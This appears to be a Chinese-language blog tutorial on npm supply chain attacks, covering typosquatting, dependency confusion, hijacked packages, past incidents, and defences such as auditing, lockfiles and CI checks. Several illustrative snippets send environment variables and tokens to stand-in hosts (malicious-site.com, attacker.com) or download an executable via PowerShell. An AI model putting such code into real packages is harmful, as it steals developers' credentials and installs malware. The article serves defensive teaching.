您现在的位置是：网站首页 > 供应链攻击（如恶意包注入）文章详情

供应链攻击（如恶意包注入）

陈川【前端安全】 61165人已围观 3738字

供应链攻击的基本概念

供应链攻击是指攻击者通过篡改软件依赖项或工具链中的组件，将恶意代码注入到目标系统中。在前端开发领域，最常见的供应链攻击形式是通过npm、yarn等包管理器注入恶意包。这类攻击之所以危险，是因为它们利用了开发者对第三方依赖的信任关系。

典型的供应链攻击路径包括：

攻击者发布一个名称与流行包相似的恶意包（typosquatting）
入侵合法包的开发者账户并发布带后门的版本
劫持未维护的流行包并注入恶意代码
通过构建工具或CI/CD管道注入恶意脚本

恶意包注入的常见手法

1. 包名仿冒（Typosquatting）

攻击者注册与流行包名称相似的包，利用开发者的拼写错误实现注入。例如：

// 开发者本意想安装lodash
npm install lodash
// 但错误输入了
npm install lodashh  // 带额外h的恶意包

2020年发现的crossenv就是仿冒cross-env的恶意包，它在安装时执行恶意脚本窃取环境变量。

2. 依赖混淆攻击

攻击者向公共仓库发布与公司内部私有包同名的包。当构建系统配置不当时，可能错误地拉取公共恶意包而非内部私有包。

// 公司内部有私有包 @company/core-ui
// 攻击者在公共npm发布同名的恶意包
npm install @company/core-ui  // 可能拉取到恶意版本

3. 合法包劫持

当流行包的维护者账户被入侵或不再维护时，攻击者可能接管这些包并注入恶意代码。例如2018年的event-stream事件，攻击者通过接管维护权后添加了窃取比特币钱包的代码。

恶意代码的典型行为

被注入的恶意包通常表现出以下行为模式：

// 示例恶意代码片段
const https = require('https');
const os = require('os');
const data = {
  hostname: os.hostname(),
  env: process.env
};

https.post('https://malicious-site.com/collect', data, () => {});

具体恶意行为包括：

窃取敏感环境变量（如AWS凭证）
扫描项目文件寻找API密钥和密码
建立反向shell提供远程控制
在构建过程中篡改输出文件
加密文件实施勒索软件攻击

实际案例分析

案例1：ua-parser-js事件

2021年，流行的UA解析库ua-parser-js被注入恶意代码。被入侵的版本会：

在Windows上下载执行挖矿程序
在Linux/macOS上安装密码窃取器

// 恶意代码片段
if (process.platform === 'win32') {
  require('child_process').exec('powershell -c "iwr malware.com -OutFile %TEMP%\\malware.exe"');
}

案例2：es5-ext后门

2020年发现的es5-ext恶意版本会检查特定条件（如运行在CI环境中），然后泄露敏感信息：

if (process.env.CI === 'true') {
  const payload = { 
    repo: process.env.REPO_URL,
    tokens: process.env
  };
  require('https').post('https://attacker.com', payload);
}

检测与防御措施

1. 依赖项审计工具

使用自动化工具扫描项目依赖：

# 使用npm audit
npm audit

# 使用第三方工具
npx snyk test
npx retire

2. 锁定文件策略

始终使用package-lock.json或yarn.lock，并启用CI验证：

# 在CI中添加验证
npm ci --only=production

3. 供应链完整性验证

实施内容安全策略：

// package.json示例配置
{
  "scripts": {
    "postinstall": "node ./verify-deps.js"
  }
}

验证脚本示例：

// verify-deps.js
const { execSync } = require('child_process');
const allowedHashes = {
  'lodash': 'a1b2c3...'
};

const deps = JSON.parse(execSync('npm ls --json').toString());
Object.entries(deps.dependencies).forEach(([name, pkg]) => {
  if (allowedHashes[name] && pkg.integrity !== allowedHashes[name]) {
    console.error(`Integrity check failed for ${name}`);
    process.exit(1);
  }
});

4. 最小权限原则

为CI/CD系统配置最小必要权限：

避免使用过高权限的部署令牌
隔离构建环境网络访问
使用只读权限拉取依赖

开发流程的最佳实践

1. 依赖选择标准

评估新依赖时检查：

维护活跃度（最后更新时间、issue响应）
下载量趋势
依赖树复杂度
是否有已知漏洞历史

2. 自动化安全检查

在CI管道中添加安全步骤：

# .github/workflows/security.yml
jobs:
  audit:
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: npm audit --audit-level=moderate
      - uses: snyk/actions/node@master
        with:
          args: test --all-projects

3. 依赖更新策略

采用安全更新策略：

定期执行npm outdated
使用npm update或yarn upgrade-interactive
重大更新前检查变更日志

应急响应计划

发现恶意包时的处理步骤：

立即隔离受影响系统
确定注入时间点和影响范围
回滚到安全版本
轮换所有可能泄露的凭证
检查构建产物是否被篡改
向包仓库报告恶意包

示例响应脚本：

// emergency-response.js
const compromisedPkg = 'malicious-pkg@1.2.3';
const safePkg = 'malicious-pkg@1.2.2';

const { execSync } = require('child_process');
try {
  execSync(`npm uninstall ${compromisedPkg}`);
  execSync(`npm install ${safePkg}`);
  console.log('Package rolled back successfully');
} catch (err) {
  console.error('Rollback failed:', err);
  process.exit(1);
}